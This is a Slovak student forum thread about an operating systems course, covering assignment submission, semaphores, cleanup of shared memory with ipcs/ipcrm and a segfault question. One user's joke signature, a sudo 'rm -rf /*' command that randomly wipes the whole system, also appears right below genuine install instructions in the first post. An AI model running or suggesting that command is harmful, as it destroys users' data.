• Welcome to TUKE FÓRUM - Fórum pre študentov Technickej Univerzity v Košiciach.
 

Opera?né systémy

Started by kilomassa, 14.10.2008, 03:29:47

« predchdzajce - alie »

JCube

ak ti tam ide net tak zadaj
sudo apt-get install g++
sudo [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Alive!"

ghostdog_sk

Quote from: JCube on  31.12.2008, 05:41:11
ak ti tam ide net tak zadaj
sudo apt-get install g++

diky moc...

johnyo13

mam este jednu otazku (hlavne pre tych co chodili na prednasky):
ako je to so skuskou, teda meni sa daco oproti minulym rokom? ostava ten isty test, ci genci vyrobil nejaky novy? bude aj ustna, ci to bolo len take zastrasovanie na zaciatku semestra? tretiaci maju tiez body za prednasky, lebo ja som nebol ni na jednej (kvoli prednaske z LS  :emot-LMAO:)?..thx
☼Ѿ☼ ... ☼Ѿ☼

Aniy

dačo nové ohľadom odovzdávania? lebo akože naserie, že neberie heslo písali ste mu alebo ho mám aj ja otravovať?
a na hron sa samozrejme tiež neviem dostať


ivo261as

mňa by zaujímalo kedy to zadanie odovzdám. Genči ešte nevypísal termíny. Už niekto odovzdával pri ňom? Čo sa pýta atď. Píšte šecko :D
If you can't finish your work in 24 hours, work at night.
http://www.utfg.net/

ghostdog_sk

#230
no zadanie plne funguje...

inac dajte si bacha na predbiehanie procesov lebo sa mi stavalo ze mi na vypise v serv2 objavilo niekedy len 9 alebo len 7 slov...

este jeden dotaz...nemoze niekto ak ma vypracovanu dokumentaciu poslat na ftp?...myslim ze vela ludi bude vdacnych...samozrejme ze to upravime...

timwood

Quote from: ivo261as on  03.01.2009, 00:04:37
mňa by zaujímalo kedy to zadanie odovzdám. Genči ešte nevypísal termíny. Už niekto odovzdával pri ňom? Čo sa pýta atď. Píšte šecko :D

pyta sa na semafory

ivo261as

ale čo o semafóroch?ako som ich vytvoril, použil a také?
If you can't finish your work in 24 hours, work at night.
http://www.utfg.net/

Squirrel_sK

#233
Quote from: johnyo13 on  31.12.2008, 01:04:15
na hrone netestuj, to sa stane kazdy rok cez skuskove, problem je ze ludia co tam skusaju svoje zadania, nezrusia vytvorene semafory, a system to taktiez (do restartu) neurobi...potom sa tam nahromadi kopa bordelu (rozumej nepouzivane semafory) a system odmieta vytvorit nove...
jedine riesenie je prosit vsetkych ludi, nech si po sebe mazu ten bordel, ale to este nikdy nepomohlo :D
takze testuj na vlastnom kompe, alebo rovno na ruzine, ci kde to presunuli :)

ludkovia ked si chcete vymazat po sebe semafory ci pamate tak staci pouzit par prikazov nemusite cakat do polnoci
prikaz ipcs vam zobrazi vytvorene zdielane pamate vyzera to nejak takto:

------ Shared Memory Segments --------
key        shmid      owner      perms      bytes      nattch     status     
0x00002774 196609     bdzochr   666        150        0                       
0x00002712 229378     bdzochr   666        150        0                       
0x000011a0 3866627    stefanis  666        151        0                       
0x000004d2 294916     zemcak    666        2052       0                       
0x000011a1 3899397    stefanis  666        151        0                       
0x00111111 11075591   fesic     666        1024       0   

------ Semaphore Arrays --------
key        semid      owner      perms      nsems     
0x63410002 120586248  vidis     666        2         
0x64410002 120619017  vidis     666        2         
0x000011d6 851978     stefanis  666        2         
0x000011d7 884747     stefanis  666        2         
0x00001167 950284     kolesars  666        3         
0x00007a6b 106037261  klubert   666        2         
0x00007a6c 106070030  klubert   666        2   

------ Message Queues --------
key        msqid      owner      perms      used-bytes   messages   



No a potom prikazom       
ipcrm -s <semid>               vymazete semafor
ipcrm -m <shmid>             vymazete pamat

Inac nasiel som super prezentacie ohladom nasho OSka.. je to ENG ale dobre vysvetlene...
http://vorlon.case.edu/~bml8/338F05/presentations
Odkladanie robí ľahkú vec ťažkou a ťažkú vec nemožnou.

timwood

Quote from: ivo261as on  03.01.2009, 03:57:14
ale čo o semafóroch?ako som ich vytvoril, použil a také?
ano. proste ako to funguje..kriticke casti..ako si to implemenoval a pod.

Aniy

Quote from: ghostdog_sk on  03.01.2009, 01:30:25
no zadanie plne funguje...

inac dajte si bacha na predbiehanie procesov lebo sa mi stavalo ze mi na vypise v serv2 objavilo niekedy len 9 alebo len 7 slov...

nj presne to, mne viac ako 2-4 nedá :/


piton

Najlepsie by bolo, keby si kazdy po sebe ten bordel zmazal tymito dvoma skriptami, potom by sa na hrone mozno aj dalo nieco spustit:
for i in `ipcs -s | grep TVOJ_LOGIN`; do ipcrm -s $i;  done

for i in `ipcs -m | grep TVOJ_LOGIN`; do ipcrm -m $i;  done
"Iba život, ktorý žijeme pre ostatných, stojí za to." - Albert Einstein

Sxx

Kedy sa odovzdava dokumentacia pri klainovej? alebo kde to ma byt vypisane vobec


Aniy

kto to tu bol čo mu nešlo prihlásiť na hron? jak sa to vyriešilo? dá sa to s Popovcom po maile alebo sa musím trepať do KE?

a btw Genči : "Zajst za mnou budete moct v case, ked stanovim oficialny termin na
odovzdanie - bude uverejneny na hornade."


ivo261as

písali ste mu niekto mail? Lebo ja som mu písal nedávno a žiadna odpoveď... :(
If you can't finish your work in 24 hours, work at night.
http://www.utfg.net/

Sxx

co ja viem tak login na hron sa riesil iba osobne, raz mi expirol a tiez len osobne som to riesil


Squirrel_sK

Quote from: piton on  03.01.2009, 17:34:15
Najlepsie by bolo, keby si kazdy po sebe ten bordel zmazal tymito dvoma skriptami, potom by sa na hrone mozno aj dalo nieco spustit:
for i in `ipcs -s | grep TVOJ_LOGIN`; do ipcrm -s $i;  done

for i in `ipcs -m | grep TVOJ_LOGIN`; do ipcrm -m $i;  done


Mazte si to po sebe prosim, lebo pocet semaforov a pamati je obmedzeny sa mi zda a nemozme testovat svoje zadania...
Odkladanie robí ľahkú vec ťažkou a ťažkú vec nemožnou.

ivo261as

Quote from: Sxx on  03.01.2009, 22:52:58
co ja viem tak login na hron sa riesil iba osobne, raz mi expirol a tiez len osobne som to riesil
len ja mám kus iný problém. Som chcel skúsiť ako mi ide zadanie v systéme ale pri uploade som si pomýlil adresáre a miesto svojho som odovzdal iné. To bolo funkčné a teraz sa mi už moje odovzdať nedá. Som písal Genčimu, či mi to nemôže odtiaľ vymazať ale žiadna odpoveď. :(
If you can't finish your work in 24 hours, work at night.
http://www.utfg.net/

tuxik

Zadanie ti cviciaci vie zmazat. A ide vam uz niekomu system na odovzdavanie? mne stale pise: Zadanie nemožno odovzdať, uplynul termín odovzdania! a uz ma to stve

Squirrel_sK

Mne pise to iste... ale niekomu to ide... zatial to vyzera tak ze kleinovej skupinam to nefunguje, aspon podla ohlasov z mojho okolia... je niekto kto mal cviko pri kleinovej v utorok o 12:30 a ide mu to?
Odkladanie robí ľahkú vec ťažkou a ťažkú vec nemožnou.

ghostdog_sk

mno...prave som odovzdal zadanie na prvy raz...trosku to trva kym to vyhodnoti...trva to asi 2 minuty...trochu som sa zlakol lebo napisalo Odovzdane ale nepreslo kotrolov...treba pockat potom vypise bud ano alebo nie...

este ta dokumentacia by si zisla...

stamperlik

caute,
nevie niekto poradit v com je chyba?


----------------------------------------------------
Runner:Spustam:
zadanie 2901 7141
runner: Maximalny cas behu 120 sekund
runner: Skutocny cas behu:1 s
runner:potomok ukonceny:nekorektne
runner: Pricinou ukoncenia bol signal 11
runner:Exit Status:0
runner: ukoncujem ostatne procesy:
runner:OK
runner:vraciam 131



doma na linuxe mi to bezi bez problemov
:ropebanana:

JCube

Signal 11, or officially know as "segmentation fault", means that the program accessed a memory location that was not assigned. That's usually a bug in the program. So if you're writing your own program, that's the most likely cause.
sudo [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Alive!"

ropman

nerozumiem tomu, preco podla toho zadania treba riesit zapisovanie do zdielanej pamete 2 procesmi cez 2 semafory... to nestaci 1 ???

stamperlik

Quote from: JCube on  04.01.2009, 20:25:45
Signal 11, or officially know as "segmentation fault", means that the program accessed a memory location that was not assigned. That's usually a bug in the program. So if you're writing your own program, that's the most likely cause.

ja na zdrojak ziram a ziram a nemam potuchy co tu chybu moze vyvolavat.
proces P1 sa mi nespusti, ale vytvoria sa mi subory zadanie.err a .out. Cize chyba musi byt niekde medzi tym.
Co mam kontrolovat? Treba nejak alokovat miesto aj pre shm,sem a pipe?
:ropebanana: